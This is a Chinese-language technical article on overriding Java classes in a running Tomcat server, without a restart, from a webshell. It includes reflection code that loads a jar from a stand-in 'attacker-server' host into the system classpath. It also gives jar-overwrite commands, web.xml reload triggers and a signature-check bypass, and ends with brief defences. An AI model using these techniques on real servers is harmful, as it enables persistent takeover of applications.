不重启Tomcat,覆盖本地代码
字数 1209 2025-08-29 08:31:41
Tomcat运行时代码覆盖技术研究
概述
本文详细分析了一种在不重启Tomcat服务器的情况下,通过Webshell覆盖本地Java代码的技术。该技术利用了Tomcat的类加载机制和热部署特性,可以在运行时动态修改应用程序行为。
技术背景
传统Java Web应用攻击中,攻击者通常需要:
- 上传恶意jar或class文件覆盖原有文件
- 等待服务器重启使修改生效
这种方法的局限性:
- 需要服务器重启(不可控因素)
- 云环境定期重启会使覆盖失效
- jar签名验证可防止篡改
- 文件上传容易被安全系统检测
技术原理
核心思路
- 动态修改系统类路径:通过反射机制在运行时添加远程jar到系统类路径
- 触发Tomcat重新加载:利用Tomcat对WEB-INF/web.xml的监控机制
- 类加载优先级利用:利用Tomcat类加载顺序特性确保恶意类优先加载
详细技术实现
方法一:Tomcat 7.0.41及以下版本
- 动态添加远程jar到类路径:
try {
URI uri = new URI("http://attacker-server/ahacker.jar");
URLClassLoader classLoader = (URLClassLoader) ClassLoader.getSystemClassLoader();
Method add = URLClassLoader.class.getDeclaredMethod("addURL", new Class[] { URL.class });
add.setAccessible(true);
add.invoke(classLoader, uri.toURL());
} catch (Exception exp) {
exp.printStackTrace();
}
- 修改web.xml触发重新加载:
- Tomcat默认监控WEB-INF/web.xml变化
- 任何修改都会触发应用重新加载
- 类加载机制利用:
- 系统类路径中的jar优先加载
- 同名类只会加载第一个找到的版本
方法二:Tomcat 7.0.5+及9.x版本
- 使用jar协议添加远程jar:
try {
URL uri = new URL("jar:http://attacker-server/ahacker.jar!/");
URLClassLoader classLoader = (URLClassLoader) ClassLoader.getSystemClassLoader();
Method add = URLClassLoader.class.getDeclaredMethod("addURL", new Class[] { URL.class });
add.setAccessible(true);
add.invoke(classLoader, uri);
} catch (Exception exp) {
exp.printStackTrace();
}
- 覆盖原有jar文件:
- 使用系统命令删除或覆盖原有jar
del /Y和copy /Y等命令
- 触发重新加载:
- 修改web.xml
- 等待10-20秒让Tomcat完成重新加载
- 恢复原有jar(可选):
- 在重新加载完成后恢复原始jar
- 已加载的恶意类会保持生效
方法三:利用jar加载顺序(全版本通用)
- 上传特定命名的jar文件:
- Tomcat按字母顺序加载jar
- 例如上传"raal.jar"会比"real.jar"优先加载
- 触发重新加载:
- 修改web.xml
- 同名类会优先加载字母顺序靠前的jar中的版本
技术限制与注意事项
- 版本差异:
- 方法一仅适用于Tomcat 7.0.41及以下
- 方法二适用于更新版本包括Tomcat 9.x
- 执行顺序要求:
- 必须先访问目标servlet再执行攻击
- 直接攻击可能导致应用卡死(DoS)
- jar签名绕过:
- 该技术可绕过jar签名验证
- 因为不直接修改签名jar,而是添加新jar到类路径
防御措施
- 安全配置:
- 禁用动态类加载功能
- 限制反射API的使用
- 监控措施:
- 监控web.xml的异常修改
- 检测异常的类加载行为
- 运行时保护:
- 使用SecurityManager限制敏感操作
- 实施类加载验证机制
- 部署实践:
- 使用不可变容器镜像
- 实施严格的变更控制流程
总结
该技术展示了在无需重启Tomcat的情况下实现代码覆盖的多种方法,突显了Java类加载机制的潜在安全问题。防御此类攻击需要多层次的安全措施,包括配置加固、运行时保护和持续监控。